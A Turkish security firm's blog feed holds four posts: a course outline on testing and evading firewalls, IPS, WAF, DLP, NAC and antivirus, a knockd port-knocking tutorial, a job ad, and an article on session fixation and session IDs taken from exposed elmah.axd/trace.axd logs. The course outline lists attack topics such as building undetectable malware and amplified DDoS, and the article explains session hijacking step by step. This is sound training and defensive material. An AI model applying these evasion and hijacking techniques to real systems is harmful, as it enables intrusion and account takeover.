Quantcast
Channel: Bilgi Güvenliği AKADEMİSİ
Viewing all 331 articles
Browse latest View live

Güvenlik Sistemlerini Test ve Atlatma Teknikleri Eğitimi

$
0
0
Bilgi Güvenliği AKADEMİSİ olarak yaklaşık bir yıldır üzerinde çalıştığımız yeni eğitimimiz artık sunuma hazır hale geldi. Eğitime ait detayları aşağıda bulabilirsiniz.

Eğitim Tanımı:
Siber güvenliğin sağlanmasında en güvenli yol katmanlı güvenli mimarisinin uygulanması ve bu mimariye göre her katmanda ilgili çözümlerin tercih edilmesidir. Günümüz internet dünyasında genellikle güvenlik kelimesi çözüm odaklı değik ürün odaklı olarak işlenmektedir. Yurt dışından alınan ürünler tüm dünyadaki ortalama IT sistemlerine hitap edecek şekilde geliştirildikleri için ön tanımlı ayarlarla yeteri kadar güvenlik sağlamazlar. Bu eğitimle kurumların sahip oldukları ya da olmayı planladıkları siber savunma sistemleri hakkında detay teknik bilgi ve bu ürünleri alırken, konumlandırırken gerçekleştirmeleri gereken testler hakkında bilgi edinmeleri sağlanacaktır.



Eğitimin üç ana temel amacı bulunmaktadır: Siber savunma sistemlerinin çalışma mantıklarının anlaşılması, bu sistemlerin konumlandırılırken dikkat edilecek hususların belirlenmesi, siber savunma sistemlerinin test edilmesi ve güvenlik ve mimarisel zafiyetlerinin tespit edilerek istismar edilmesi ve buna bağlı olarak da daha efektif ve güvenli  siber savunma sistemlerinin kurulması.


Eğitim her bir kategoriye ait örnek sistemler üzerinden uygulamalı olarak gerçekletirilecek, kurulum imkanı olmayan sistemler için emulator kullanılacaktır.


Eğitim içeriğinde kullanılan test yöntemleri ve kontrol listeleri NSS, ICSA Labs, Westcoast labs gibi endüstri standartı firmaların yayınladığı raporlardan faydalanılarak hazırlanmıştır.
Eğitim Seviyesi:İleri
Kimler Katılmalı: Bilişim güvenliği ürünleri satan, üreten firma personeli, güvenlik projelerinde danışman olarak çalışan uzmanlar, kurumlarda güvenlik operasyonu yapan personel ve IT denetim uzmanları
Ön Gereksinimler: Temel TCP/IP ve Linux bilgisi, eğitimde anlatılacak konu bağlığı ürünlerle daha önce çalışmış olmak.


Eğitim Süresi: 4 Gün


Eğitim İçeriği:


Siber Savunma Amaçlı Kullanılan Sistemler ve İşlevleri
  • Güvenlik Duvarı (Firewall)
  • Yeni Nesil Güvenlik Duvarı Kavramı
  • Saldırı Tespit ve Engelleme Sistemleri (IPS)
  • Web Uygulama Güvenlik Duvarı (WAF)
  • DoS/DDoS Engelleme Sistemleri ve Çalışma Yöntemleri
  • Veri Kaçağı Engelleme Sistemleri (DLP)
  • Antivirüs, AntiSpam Sistemleri
  • AntiMalware/APT Tespit ve Engelleme Sistemleri
  • Beyaz Liste Uygulama (Application Whitelisting)
  • İçerik Filtreleme Sistemleri
  • NAC(Network Access Control ) Sistemleri
  • Log Yönetimi ve Olay Yönetimi Sistemleri


Güvenlik Duvarı Test ve Atlatma Yöntemleri
  • Güvenlik duvarı temel işlevleri ve kullanım alanları
  • Ticari açık kaynak kodlu güvenlik duvarı yazılımları
  • Güvenlik duvarı keşif çalışmaları
  • Güvenlik duvarı performans değerlerini anlama
  • Datasheet değerleri nasıl elde edilmektedir?
  • Klasik tünelleme yöntemleri kullanarak Firewall atlatma
  • Mac spoofing, IP spoofing kullanarak firewall kuralları atlatma
  • Firewall kurallarının test edilmesi(firewallking).
  • Firewall yönetim arabiriminin test edilmesi
  • Güvenlik duvarı projelerinde dikkat edilecek hususlar
  • Firewall testleri kontrol listesi


Yeni Nesil güvenlik Duvarı
  • Klasik güvenlik duvarı ve yeni nesil güvenlik duvarı farklılıkları
  • Port bağımsız protokol tanıma(PiPi) özelliği ve çalışma mantığı
  • Sık kullanılan antisansür yazılımları (Ultrasurf, Tor, Jane ) engelleme
  • Açık kaynak kodlu ve ticari yeni nesil güvenlik duvarı yazılımları
  • Yeni nesil güvenlik duvarı sistemlerinin DNS tünelleme kullanılarak atlatılması
  • Application cache kullanarak NGFW sistemlerinin atlatılması
  • Yeni nesil güvenlik duvarı projelerinde dikkat edilecek hususlar


Saldırı Tespit ve Engelleme Sistemleri ve Test Yöntemleri
  • Saldırı Engelleme Sistemleri çeşitleri (Host/Network/Log)
  • Yeni nesil IDS/IPS kavramı ve getirileri
  • Açık kaynak kodlu ve ticari IDS/IPS sistemleri   
  • Yerel ağ saldırıları karşısında IDS konumlandırma
  • Internet üzerinden IPS keşif çalışmaları
  • Örneklerle saldırı tespit kuralı geliştirme (Snort, Sourcefire)
  • Web atakları karşısında IDS/IPS’lerin yetersizliği örnekleri
  • Kodlama ve şifreleme (SSL/TLS) kullanarak IDS/IPS atlatma
  • Parçalanmış paketler kullanarak IPS şaşırtma
  • Tuzak sistemler kullanarak IDS/IPS şaşırtma
  • IP sahteciliği kullanarak IDS/IPS atlatma teknikleri
  • IDS/IPS alırken nelere dikkate edilmeli
  • Saldırı tespit ve engelleme sistemleri testleri kontrol listesi


DoS/DDoS Engelleme Sistemi ve Test Yöntemleri
  • DoS/DDoS kavramları ve temel engelleme yöntemleri
  • Bulut tabanlı DDoS engelleme sistemleri ve artıları/eksileri
  • Cloudflare üzerinde host edilen sitelere yönelik gerçek ip üzerinden saldırı
  • Saldırı Tespit ve Engelleme Sistemlerini DDoS engelleme amaçlı kullanımı
  • DDoS sistemi keşif çalışmaları
  • IP sahteciliği kullanarak DDoS sistemi atlatma teknikleri
  • UDP tabanlı flood saldırıları karşısında ddos engelleme sistemlerinin yetersizlikleri
  • Amplified DNS ve NTP saldırıları ile DDoS sistemlerini şaşırtma
  • DoS/DDoS sistemi alırken ve konumlandırırken hangi hususlara dikkat etmeli
  • DDoS testleri kontrol listesi


Antivirüs/HIPS/SEP Yazılımları ve Atlatma Yöntemleri
  • Antivirüs/HIPS yazılımları ve çalışma mantığı
  • Bilinen ticari, açık kaynak kodlu antivirüs yazılımları
  • Antivirüs/HIPS yazılımları atlatma amaçlı kullanılan teknik ve yöntemler
  • Crypter, binder kavramları
  • Metasploit kullanarak test senaryolarının oluşturulması
  • Tanınmaz AV oluşturma yazılım ve siteleri
  • Online AV test siteleri


Anti-Malware / APT Tespit Sistemleri ve Test Yöntemleri
  • APT kavramı  ve teknik detayları
  • Basit araçlar kullanarak tanınmaz zararlı yazılım üretimi
  • Bilinen APT engelleme sistemleri ve çalışma mantıkları
  • Antimalware ve Anti Spam keşif çalışmaları
  • APT/Antimalware projelerinde dikkat edilecek hususlar
  • APT tespit ve engelleme sistemleri testleri kontrol listesi


Application Whitelisting Sistemleri ve Test Yöntemleri
  • Negatif ve Pozitif güvenlik modeli farkları
  • “Application Whitelisting” ürünlerine neden ihtiyaç duyulur
  • Kullanılan Application whitelisting ürünleri
  • Uygulama seviyesi ve çekirdek seviyesi koruma yöntemleri
  • Uygulama seviyesi kontrollerin aşılması

İçerik Filtreleme Sistemleri ve Atlatma Yöntemleri
  • İçerik filtreleme sistemleri ve temel çalışma yapıları
  • Standart beyaz liste, kara liste mantığı kullanan sistemler
  • Dinamik olarak içerik filtreleme yapan sistemleri
  • İçerik filtreleme sistemleri atlatma test ve teknikleri
  • İçerik filtreleme sistemlerini Proxy kullanarak atlatma
  • İçerik filtreleme ürün seçiminde dikkat edilecek hususlar
  • İçerik filtreleme testleri kontrol listesi


NAC Çözümü ve Test, Atlatma Yöntemleri


  • NAC kavramı, avantajları ve sıkıntıları
  • NAC çalışma mantığı ve bağlı olduğu bileşenler
  • NAC, 802.1x farklılıkları
  • Bilinen ticari ve açık kaynak kodlu NAC yazılımları
  • MAC adres değiştirme yöntemi ile NAC atlatma
  • DHCP kullanılan ağlarda NAC atlatma teknikleri
  • Kullanılmayan port (printer vs) üzerinden NAC atlatma testleri
  • Alternatif NAC atlatma teknik ve yöntemleri
  • NAC projelerinde dikkat edilecek hususlar
  • NAC testleri kontrol listesi


Web Application Firewall Test ve Atlatma Yöntemleri
  • WAF çalışma yapısı ve normal güvenlik duvarları
  • WAF ve IPS farkları
  • WAF yerleşim yöntemleri
  • Ticari ve açık kaynak kodlu WAF ürünleri
  • Citrix Netscaler, Mod Security, F5 ASM, Barracuda WAF
  • WAF kullanarak web zafiyetlerinin tespiti ve engellenmesi
  • XSS, LFI, SQL injection engelleme
  • WAF sistemlerine yönelik güvenlik testleri
  • WAF tespit ve keşif yöntem, araçları
  • Temel WAF atlatma yöntemleri
  • HPP(HTTP PArametre Pollution) kullanarak WAF atlatma
  • Değişik XSS payloadları kullanarak WAF kurallarını aşma
  • Sqlmap tamper script kullanarak WAF atlatma
  • Pyronbee kullanarak waf testleri
  • WAF alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
  • WAF testleri kontrol listesi


Log Yönetimi Sistemi Test ve İyileştirme Çalışmaları
  • Log yönetimi ve log toplama farkları
  • Ticari ve açık kaynak kodlu log yönetimi ve log toplama sistemleri
  • Log korelasyonu örnekleri
  • Log yönetimi ve korelasyon sistemlerine şaşırtmaya yönelik sahte log üretimi
  • Snort imzaları kullanarak sahte saldırı log üretimi
  • Log yönetimi  sistemi alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
  • Log yönetimi testleri kontrol listesi


DLP-Veri Sızma Engelleme Sistemi ve Test Yöntemleri

  • DLP öncesi veri sınıflandırma çalışmaları
  • DLP projelerinde dikkat edilmesi gereken hususlar ve kontrol listesi
  • DLP çeşitleri
  • Host tabanlı ve Ağ tabanlı DLP sistemleri
  • Ağ tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri
  • Host tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri
  • Encoding kullanarak Ağ seviyesi DLP sistemlerinin atlatılması
  • Host tabanlı DLP sistemleri
  • DLP alımı ve konumlandırma aşamalarında dikkat edilecek hususlar
  • DLP testleri  kontrol listesi

Port Knocking Yöntemi ile Portları Güvenli Açma

$
0
0

  • Knockd istemci-sunucu mantığı ile çalışan sisteminizde bir port açık olmadığı halde uzaktan vereceğiniz belirli port yoklamaları ile istediğiniz portu açabilecek yada sisteme bağlanmadan istediğiniz komutu çalıştırabilecek bir programdır. Knockd’yi kullanabilmek için aşağıda linki verilen iki yazılımı da indirmelisiniz, sunucu uygulamasını sunucu makinenize istemci uygulamasını da sunucuya bağlanmak istediğiniz herhangi bir makineye kurabilirsiniz.

  • Kurulum
    Sunucu ve istemci tarafı için gerekli paketleri
    http://www.zeroflux.org/knock/knock-0.3.tar.gz adresinden indirebilirsiniz.  


    İstemci tarafına kurulum için,


    # rpm -ivh knock-0.3-2.i386.rpm
    Preparing...                ########################################### [100%]
    1:knock             ########################################### [100%]



    Sunucu tarafına kurulum için,


    # rpm -ivh knock-server-0.3-2.i386.rpm
    Preparing...                ########################################### [100%]
    1:knock-server                       ########################################### [100%]


    Çalışma Mantığı
    Karmaşık gözükmesine rağmen oldukça basit bir mantıkla çalışıyor “knockd”, yaptığı iş ağ arabirimine (Ethernet,ppp)   gelen tüm trafiği dinlemek   ve konfigürasyon dosyasında belirtilen uyarlamalara uygun bir paket geldiginde yine konfigürasyon dosyasında belirtildiği komutları çalıştırmak.

    Istemci belli sirada port yoklaması yapar, istemci port yoklamasını   tcp ya da udp portlarda yapabilir. Ve en   önemlisi de   yoklama   yaptığınız portun   açık   olup   olmamasının   öneminin olmadığıdır. Normalde kapalı bir porta göndereceğiniz paketlerden eğer filtrelenmemişse  RST  cevabı  döner.

    Peki nasıl oluyorda ‘knockd’bu  işi  yapabiliyor? Bunun  için  biraz  TCP/IP bilgilerimizi güncelleyelim. Bir paket bir hosttan diğerine gönderildiğinde OSI katmanının en üst seviyesinden an altına kadar yolculuk yapar ve fiziksel ortama bırakılır , karşı tarafa ulaştığında ise   OSI katmanının en alt katmanından   en üst (Application Level)katmanına kadar ters bir yolculuk geçirir, bu katmanlardan herbirinin kendine göre farklı bir görevi vardır, port kavramının sözünün geçtiği katmanda 4.katmandır. Detaylı gösterim için  aşağıdaki resme bakabilirisiniz. İşte knockd paketi    daha    4.katmana  ulaşmadan data  Link    layer(2)da  yakalıyor,  okuyor  ve içeriğine gore işlemi gerçekleştiriyor, nasıl iyi fikir değil mi?




    Sunucu Kullanımı
    Sunucu kullanımda kullanabileceğimiz seçenekler
    -i  ile  hangi  arabirimin  dinleneceğini  belirliyoruz,herhangi  bir  değer  belirtmezsek varsayılan olarak ilk Ethernet kartını(Linux’lar için eth0)dinlemeye alacaktır.
    -d knockd nin bir servis olarak hizmet vermesini belirliyoruz.
    -c <dosya_ismi> opsiyonu ile de kullanılacak yapılandırma dosyasını belirliyoruz varsayılan olarak bu değer /etc/knockd.conf tur,
    -D parametresi ile de sunucu programının debug modda çalışmasını sağlıyoruz
    -V ile calışan programın versiyonunu öğrenebiliriz.
    -h parametresi kullanılabilecek parametreleri göstermeye yarar. Data detaylı kullanım için man knockd komutunu kullanabilirsiniz.


    İstemci Kullanımı
    Istemci kullanımının seçeneklerine ulaşmak için


    # knock


    komutunu vermeniz yeterlidir,bu seçeneklerin ne işe yaradığı aşağıda belirtilmiştir.


    usage: knock [options] <host> <port> [port] ... options:
    -u, --udp          UDP paketi yollamak için,varsayılan değer TCP dir.
    -v, --verbose      Detaylı bilgi için
    -V, --version      Versiyon öğrenmek için.
    -h, --help           Bu menu için.


    Yapılandırma Dosyası
    Programla birlikte gelen varsayılan yapılandırma dosyasının /etc/knockd.conf olduğundan bahsetmiştik, şimdi de bu dosyanın içeriğine bakarak yorumlayalım sonrada çeşitli örneklerle nasıl kullanılacağını anlamaya çalışalım.


    # cat /etc/knockd.conf
    [options] UseSyslog
    [opencloseSSH]
    sequence      = 2222:udp,3333:tcp,4444:udp
    seq_timeout   = 15
    tcpflags      = syn,ack
    start_command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport ssh -j
    ACCEPT
    cmd_timeout   = 10
    stop_command  = /sbin/iptables -D INPUT -s %IP% -p tcp --dport ssh -j
    ACCEPT


    Bu  basit  öntanımlı  yapılandırma  dosyası  ile  knockd’nin  loglama  mekanizması olarak sistemin kendi log mekanizmasını kullanmasını söylüyoruz, Eğer system log mekanizmasında farklı bir yere loglanmasını istersek bunu logfile = /var/log/knockd.log izinlerini knockdyi çalıştıran kullanıcı olarak ayarlamanız lazım , farklı bir durum gözetmezseniz  root  kullanıcısı ile çalıştığından  dosya  erişim  izinleri  de  ona  göre ayarlanmış olur.
    alt  tarafta  [opencloseSSH]  ile  yeni  bir  kural  için  tanımlayıcı  isim  belirleyip seçeneklerini yazıyoruz.
    Sequence ile istemcinin port yoklama sırasını belirtiyoruz,
    seq_timeout
    bu değişkenle istemcinin port yoklama işlemini yaparken iki yoklama arasında max ne kadar sure bekleyebileceğini bildiriyoruz.

    start_command
    Uygun port yoklaması oluştuktan sonra başlatılacak komut


    cmd_timeout
    komut sonrası ne kadarlık bir sure bekleneceği
    stop_command
    cmd_timeout sonrası işletilecek komut
    Aşağıdaki örnekte yapılandırma dosyasındaki seçeneklerin değerleri ve ne işe yaradıkları konusunda geniş bilgilendirme bulabilirsiniz.


    Örnek;
    Sistemin 100, 200 ve 300.portlarına sırası ile SYN paketi gönderilmesi halinde
    /tmp dizininde deneme-123 adında bir dosya oluşturmasını isteyelim.
    Bunun için /etc/knockd.conf dosyasını herhangi bir editörle açıp dosyanın sonuna
    [dosya ac]
    sequence = 100,200,300 protocol = tcp
    timeout = 15
    command = mkdir /tmp/deneme-123 tcpflags = SYN
    satırlarını ekleyelim. [dosya ac]  satırı ile açıklama belirtiyoruz, bu başlık loglarda görünecek olan başlıktır.
    sequence = 100,200,300
    ile hangi sıra ile portların yoklanacağını belirtiyoruz

    protocol = tcp
    protocol tipini belirliyoruz
    timeout = 15
    zaman aşımını ne kadar olacağını belirliyoruz.

    command = mkdir /tmp/deneme-123
    yoklamalar sonrası hangi komutun çalıştırılacağını belirliyoruz
    tcpflags = SYN
    protocol olarak TCP belirledikten sonra hangi TCP bayrağı ile yoklama yapılacağının belirtilmesi
    bunları  yazdıktan  sonra  dosyayı  kaydedip  çıkalım  ve  istemci  tarafındaki  knock programcığını aşağıdaki gibi çalıştıralım.


    [root@cc root]# knock yubam -v 100 200 300
    hitting tcp 194.27.72.88:100 hitting tcp 194.27.72.88:200 hitting tcp 194.27.72.88:300
    tekrar /tmp dizinine bakalım.

    [root@yubam tmp]# ls
    deneme-123       mc-root 
    gconfd-root    orbit-root
    GSLhtmlbrowser5493  sess_33c22dbdd8f5fbf788f8ccf9ecbb519a
    kde-root       sess_4d0f6ce5ca90d758cc126ad992219b85
    ksocket-root    splint-3.1.1
    mapping-root        splint-3.1.1.Linux.tgz mcop-root

    Örnek;


    [options]
    logfile = /var/log/knockd.log
    [opentelnet]
    sequence= 7000,8000,9000
    seq_timeout = 10
    tcpflags= syn
    command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT
    [closetelnet]
    sequence= 9000,8000,7000
    seq_timeout = 10
    tcpflags= syn
    command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT


    bu örnekte yukarıdaki örnekten farklı olarak iki farklı seçenek kullandık biri [opentelnet] diğeri [closetelnet], [opentelnet] ile 7000,8000,9000 portlarına sırası ile gelecek SYN paketleri karşılığında sistemin ne yapacağını , [closetelnet] ile de 9000,8000,7000 portlarına sırası ile gelecek SYN paketi ile sistemin ne yapacağını belirttik, aşikarki [opentelnet] ile sisteme belirli aralıklarda syn paketi yollayan IP ye Firewall dan 23.port için geçiş hakkı tanıdık aynı şekilde [closetelnet]ile de tam tersi bir  işlem  yaparak  o  IP  ye  23.portu  kapadık.Yan.  bir  önceki  örneğe  göre  işimizi zamana bırakmadık, işimizin bittiğini ve sunucunun telnet portunu kapatmasını elle sağlamış olduk.


    Sunucu Yazılımın Çalışma Modları
    Sunucuyu debug ve verbose modda çalıştıralım ve aralarındaki farklılıkları görelim.
    Şimdide istemci tarafında knock programını çalıştırıp    sunucu tarafındaki değişiklikleri inceleyelim, çalışma parametrelerinin ne işe yaradığı yukarıda anlatılmıştı.


    Sunucunun Debug Modda Çalıştırılması
    Sunucu yazılımını debug modda çalıştırmak için knockd’ye verilen parametrelere ek olarak –D parametresini eklememiz gerekir.Bir önceki oturumu debug modda başlatırsak aşağıdaki gibi bir çıktı alırız.


    # knockd -i eth1 -D
    config: new section: 'options' config: usesyslog
    config: new section: 'opentelnet'
    config: opentelnet: sequence: 7000,8000,9000 config: opentelnet: protocol: tcp
    config: opentelnet: timeout: 15
    config: opentelnet: cmd: /sbin/iptables -A INPUT -s %IP% -p tcp --dport telnet -j ACCE PT
    config: tcp flag: SYN
    config: new section: 'closetelnet'
    config: closeSSH: sequence: 9000,8000,7000 config: closeSSH: protocol: tcp
    config: closeSSH: timeout: 15
    config: closeSSH: cmd: /sbin/iptables -D INPUT -s %IP% -p tcp --dport telnet -j ACC EPT
    config: tcp flag: SYN
    config: new section: 'dosya ac'
    config: dosya ac: sequence: 100,200,300 config: dosya ac: protocol: tcp
    config: dosya ac: timeout: 15
    config: dosya ac: cmd: mkdir /tmp/deneme-1-2-3 config: tcp flag: SYN
    2004-04-30 23:55:21: tcp: 81.214.131.55:2706 -> 194.27.72.88:22 106 bytes packet is not SYN, ignoring...
    packet is not SYN, ignoring... packet is not SYN, ignoring..


    Sunucu Yazılımını Verbose Modda Çalıştırmak


    knockd yi verbose modda çalıştırdıktan sonra istemcide


    # knock yubam -v 100 200 300 hitting
    tcp 194.27.72.88:100
    hitting tcp 194.27.72.88:200
    hitting tcp 194.27.72.88:300


    komutunu  verdiğimizde aşağıdaki çıktıyı alırız.


    # knockd -i eth0 -v
    listening on eth0...
    194.27.72.80: dosya ac: Stage 1
    194.27.72.80: dosya ac: Stage 2
    194.27.72.80: dosya ac: Stage 3
    194.27.72.80: dosya ac: OPEN SESAME
    running command: mkdir /tmp/deneme-1-2-3
    mkdir: `/tmp/deneme-1-2-3' dizini oluÅturulamıyor: Dosya var dosya ac: command returned non-zero status code (1)


    yukarıdaki hata biraz once o dosyanın oluşturulumuş olduğundan veriliyor,.
    knockd’yi sonlandırmak isterseniz aşağıdaki komutları çalıştırmanız yeterlidir.


    # ps axu|grep knockd
    root 15345  0.0  0.0  1640  460 ?        S    23:27   0:00 knockd -i eth0 -d root 15373 0.0  0.1  5132  584 pts/7    S23:34   0:00 grep knockd

    # kill 15345

    BGA Profesyonel Hizmetler için Bilgi Güvenliği Uzmanı İlanı

    $
    0
    0

    BGA olarak gerçekleştirdiğimiz bilgi güvenliği danışmanlık hizmetleri için sevdiği işi yapacak, yaptığı işi sevecek, genç, heyecanlı ve çalışkan takım arkadaşları arıyoruz.

    2 farklı konuda 3 takım arkadaşı(Ankara/İstanbul) alınacaktır:
    • BGA SIR(Security Incident Response) Ekibi için bir kişi
    • BGA TIGER TEAM (Sızma Testi/APT) Ekibi için iki kişi

    Temel Beklentiler:
    • Ankara'da veya İstanbul'da ikamet eden (bir kişi Ankara, iki kişi İstanbul)
    •  İstanbul arası git-gel yapabilecek arada bir Bakü, KKTC vs gibi lokasyonlara uğramaktan imtina etmeyecek,
    • Standart dışı düşünebilen, kalıplara takılmayan,
    • Teknik konularda çalışmayı seven, heyecan duyan,
    • Herşeyi bilmediğini düşünerek bol bol araştırma yapan, bir bilene soran,
    • Çok çalışan değil, az zamanda çok iş yapabilen,
    • İş bitirici, görev bilincine sahip olan,
    • Araştırıp öğrendiği konuları yazıya dökebilen
    Tam zamanlı çalışma arkadaşları arıyoruz. (Yarı zamanlı başvurular bu ilan kapsamında değerlendirilmeyecektir.)
    Sızma Testi Uzmanı 
    Sızma testi konusunda Türkiye'nin en dinamik firmalarından birinde  klasik süreç ve prosedürlere takılmadan zevkli işler gerçekleştirmek isteyenlere güzel fırsat. Amatör/profesyonel olarak sızma testleri ile ilgilenmiş, bu konuda bitmek bilmeyen araştırma hevesine sahip herkes başvuru yapabilir.

    Sızma testi konusunda başvuru yapacak arkadaşlar için orta/ileri seviye Linux  bilgisi aranmaktadır ve kullandıkları araçlar konusunda ezberden öte çalışma mantıklarını anlayacak kadar konuya hakim olmaları beklenmektedir.

    Incident Response/Computer Forensic Specialist
    BGA olarak müdahele ettiğimiz bilişim güvenliği ihlal olaylarında süreci yönetebilecek kadar derin teknik bilgi ve tecrübeye sahip,  analitik düşünce yapısına sahip takım arkadaşı aranmaktadır.

    Daha önce ilgili konularda(forensic, IR, IH) çalışmış olma şartı aranmaktadır.

    Başvuru:
    Yukarda yazılı konularla ilgili olduğunuzu düşünüyorsanız bilgi@bga.com.tr adresine CV'nizi iletebilirsiniz. 

    E-posta gönderirken konu başlığının: REF-BGA-05-14 olmasına ve hangi konu (pentest, sir)için başvuruda bulunduğunuzun mailin gövdesinde yer almasına dikkat ediniz.

    Ben profesyonelim, standart iş ilanı olmadan başvurmam diyenler için ek şartlar aşağıda yer almaktadır:

    İşin Tanımı :
    • Lisans eğitimini ilgili bölümlerde tamamlamış,
    • Takım çalışmasına yatkın,
    • Dinamik bir yapıda, işini severek yoğun bir tempoda çalışabilecek,
    • Araştırmacı, sürekli öğrenmeye ve kendini geliştirmeye açık,
    • Analitik düşünme ve problem çözme yeteneklerine sahip,
    • İstanbul'da ikamet eden veya edebilecek, gerekli durumlarda Ankara'da çalışabilecek
    • Erkek adaylar için tercihen askerlikle ilişiği olmayan veya en az 1 yıl tecilli,
    • Teknik araştırma yapabilecek kadar ingilizce bilen,
    NOT:Bu ilan 29 Mayıs 2014 tarihine kadar geçerlidir. Haziran ayının ilk haftası başvurular değerlendirilerek olumlu/olumsuz cevap dönülecektir.

    Web Uygulamalarında Hatalı Oturum Yönetimi ve Oturum Sabitleme Zafiyeti

    $
    0
    0
    Cookie/session, web uygulamalarında sunucu tarafının, kendisini ziyaret eden kullanıcıları ayırt etmek, yetkilendirmek, mevcut oturumunu belli bir sure tutma, çeşitli bilgileri taşıma veya oturumunu yönetmek gibi sebepler ile geliştirme aşamasında ihtiyaç duyulan web uygulama bileşenleridir. Cookie ve session benzer amaçlar için kullanılan fakat temel bazı farklılıkları olan web uygulama ifadeleridir. Güvenlik açısından genelde tercih edilen session kullanımıdır. 


    Cookie bilgisi client tarafında tutulduğu için üzerinde hassas veriler (kullanıcı adı,parola,kredi kart numarası vs.) veya manipule edilmesi mümkün değerler taşınmamasına dikkat edilmelidir. Session kullanımında hassas verilerin tutulması veya bazı kontrollerin yapılması sunucu tarafında yapılmaktadır.
    Session kullanıldığı durumlarda client tarafına mevcut oturuma karşılık gelen şifreli bir Session ID değeri gönderilmektedir. Bu durumda session kullanımı her ne kadar güvenli olsa da Client tarafına gönderilen SessionID değerinin saldırganlar tarafından ele geçirilmesi ile kullanıcılara ait oturumlar elde edilebilmektedir. Ayrıca Session kullanımında üretilen Session ID değerinin yeterli uzunlukta ve karmaşık karakterlerden oluşmasına dikkat edilmelidir. Aksi halde mevcut session ID politikasına uyumlu değerler üretilerek o an aktif bir kullanıcı oturumu elde edilebilir. Session kullanıldığı durumlarda kullanıcıya gönderilen SessionID değerleride Cookie HTTP başlık bilgisi içerisinde tutularak client-server arasında taşınır.

    Sunucu tarafına istek yapan her kullanıcı için dönen http response içerisinde Set-Cookie başlık bilgisi ile bir cookie değeri client tarafına gönderilir ve client browserinda bu bilgi tutulur. Daha sonra sunucu tarafına yapılan requestlerde bu set edilen Cookie değeri ile gidilir. Uygulama sunucusu tarafı da bu cookie değerine gore ilgili kullanıcıya muamele edecektir. Cookie değerinin geçerlilik süreside yine atanan cookie içerisinde belirtilmektedir.

    Aşağıda client tarafının sunucu tarafından cookie bilgisini almasına ait ekran görüntüsü verilmiştir.
    MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-22 at 11.24.04.png

    Kullanıcılar hedef uygulamlar üzerinde kimlik doğrulama gerçekleştirdikten sonra kendilerine atanan bu Cookie/SessionID değerini kullanarak uygulamaya tekrar tekrar kimlik doğrulama gerektirmeksizin bağlanabilir. Durum böyle olunca kimlik doğrulama gerektirmeden sistemlerde oturum sahibi olmak isteyen saldırganlar çeşitli yöntemler ile bu değerleri ele geçirme yoluna gidebilmektedir.

    Cookie/SessionID bilgisi hedef alınarak çeşitli saldırılar gerçekleştirilmektedir. Session hijacking, session fixation, cookie theft, exposed session data , cookie attribute manipulate, sessionid-token randomless açıklığı gibi bir çok açıklık istismar edilerek kullanıcı adına işlemler gerçekleştirebilir. Cookie/SessionID bilgisi her ne kadar sunucu tarafında üretiliyor olsada client tarafında browserda tutulmaktadır. Buda client tarafında kullanıcılara bir script çalıştırılarak elde edilebileceğini göstermektedir. Bu aşamada XSS açıklığı sıklıkla kullanılan bir yöntemdir.

    Yine bazı durumlarda saldırganların hiç bir teknik açıklık istismar etmeden doğrudan uygulama geliştiricilerin kullandığı ve kimlik doğrulama olmayan elmah.axd ve trace.axd gibi hata loglama modüllerine erişim sağlayarak ilgili uygulamalarda admin kullanıcılarının sessionID değerlerini kullanarak oturumlarını ele geçirebilmektedir.

    Trace.axd loglama modülü üzerinden elde edilen SessionID değeri:


    MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 12.57.52.png

    Elmah.axd loglama modülü üzerinden elde edilen SessionID değeri:

    MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 13.00.00.png



    Bu değerlerin doğrudan cookie manager benzeri uygulamalar ile browser üzerinde mevcut değerleri ile değiştirilmesi durumunda bu kullanıcılara ait oturumlar ele geçirilmiş olunacaktır. Bu şekilde doğrudan admin paneller veya kullanıcı oturumları elde edilebilir.

    Bu yazımızda özellikle değinmek istediğimiz açıklık session fixation açıklığıdır. Client tarafına kimlik doğrulama yapılmadığında gönderilen SessionID bilgisi , kimlik doğrulama yapıktan sonra değiştirilmiyorsa sadece bu SessionID değerine yetkilendirme yapılıyorsa bu durumda session fixation açıklığı söz konusu olmaktadır.Basit bir kaç sosyal mühendislik methodu ile ilgili açıklık istismar edilebilmektedir.

    Saldırganlar öncelikle oturumunu çalmak istedikleri kullanıcılara çeşitli sosyal mühendislik yöntemleri kullanarak kendi belirledikleri bir SessionID değeri ile uygulamayı ziyaret etmelerini sağlarlar. Daha sonra kurbanın bu uygulama üzerinde kimlik doğrulama işlemini gerçekleştirmesi durumunda  bu sessionID değerini saldırgan bildigi için kendi browserdinda ilgili hedef uygulama için set ederek kurbanın oturumunu ele geçirebilir. Saldırganın kendi browserinda zaten bu sessionID değeri tanımlı olduğundan uygulamayı çağırdığında kurbanın oturumu ile uygulama üzerinde erişim elde edecektir.

    Aşağıdaki ekran görüntüsünde session fixation açıklığının nasıl gerçekleştiği daha kolaylıkla anlaşılabilir.


    MACBOOKPRO:Users:celalerdik:Desktop:session_fixation.png




    1.     Kullanıcı web sunucuya bir bağlantı gerçekleştirmektedir
    2.     Sunucu tarafı kendisine yapılan istek karşısında bir session_id değeri ile saldırgana cevap dönmektedir.
    3.     Saldırgan,  aldığı session_id değerini kullanarak kurbanın sunucuya login olmasını sağlamaktadır. Bu durum çeşitli sosyal mühendislik yöntemleri kullanılarak kurbanın aşağıdaki gibi bir bağlantıyı ziyaret etmesi ile gerçekleştirilmektedir.
    4.     Kurban  http://www.bank.com/login.php?session_id=xyz bağlantısını ziyaret etmektedir.
    5.     Kurban bu bağlantıyı ziyaret ederek hedef web uygulamasına kimlik bilgileri ile giriş yaptığı anda mevzut xyz değerine sahip session_id artık bu kullanıcınının oturumunu ifade eden değer olacaktır.
    6.     Saldırgan kendi browserdina http://www.bank.com/ sayfasını çağırdığında artık kurbanın oturumuna erişimiş olacaktır.
    İlgili açıklığa maruz kalmamak için cookie/session bileşenleri dikkatli kullanılmalı. Kullanıcılar hangi sessionID ile uygulamaya gelirse gelsin kimlik doğrulama gerçekleştirildikten sonra SessionID değeri uniq başka bir değer ile yenilenmelidir.

